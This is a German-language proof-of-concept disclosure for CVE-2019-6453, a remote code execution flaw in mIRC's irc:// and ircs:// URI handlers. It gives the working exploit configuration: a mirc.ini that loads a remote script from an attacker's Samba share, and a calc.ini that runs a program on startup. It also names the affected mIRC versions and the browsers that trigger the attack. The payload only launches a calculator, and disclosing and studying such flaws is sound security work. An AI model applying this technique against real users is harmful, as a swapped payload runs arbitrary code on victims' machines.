
Berechnungsnachweis für CVE-2019-6453
Wir haben eine Remote Code Execution-Schwachstelle in mIRC über den irc:// URI-Protokoll-Handler gefunden. Da mIRC keine Art von Sigil wie -- verwendet, um das Ende der Argumentliste zu markieren, kann ein Angreifer über einen irc://-Link Argumente an mIRC übergeben und beliebigen Code ausführen, indem er eine benutzerdefinierte mirc.ini von einem vom Angreifer kontrollierten Samba-Dateiserver lädt. Beachten Sie, dass ircs:// auf die gleiche Weise funktioniert.
Der Proof of Calc benötigt drei Dateien: mirc.ini, calc.ini und poc.html. Wir gehen davon aus, dass auf der Angreiferseite ein Samba-Dateiserver läuft. Im Sinne des Beispiels gehen die folgenden Code-Teile davon aus, dass er auf dem Host 127.0.0.1 läuft (d.h. ersetzen Sie 127.0.0.1 durch die Adresse Ihres eigenen Servers in den folgenden Dateien, um dies auszuprobieren).
mirc.ini ist eine benutzerdefinierte Konfigurationsdatei, die sich auf dem Dateiserver unter C:\mirc-poc\mirc.ini befinden sollte.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini ist eine entfernte Skriptdatei, die sich auf dem Dateiserver unter C:\mirc-poc\calc.ini befinden sollte.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Ein einfacher Besuch von poc.html sollte funktionieren, vorausgesetzt mIRC ist als Standard-Handler für das irc:// URI-Schema eingestellt und der Browser codiert die Payload nicht. Abhängig vom Browser und Ihrer Konfiguration erhalten Sie möglicherweise trotzdem eine Eingabeaufforderung (bei Firefox nicht der Fall).

Dieses PoC läuft für mIRC <7.55.
Sie können das PoC auf Edge 42.17134 (letzte Vorschauversion) und Firefox 64.0.2 (letzte Version) auslösen. Auf Chrome funktioniert es nicht, weil Chrome URI-Protokolle anders behandelt (die URI wird kodiert, bevor sie an die Anwendung übergeben wird).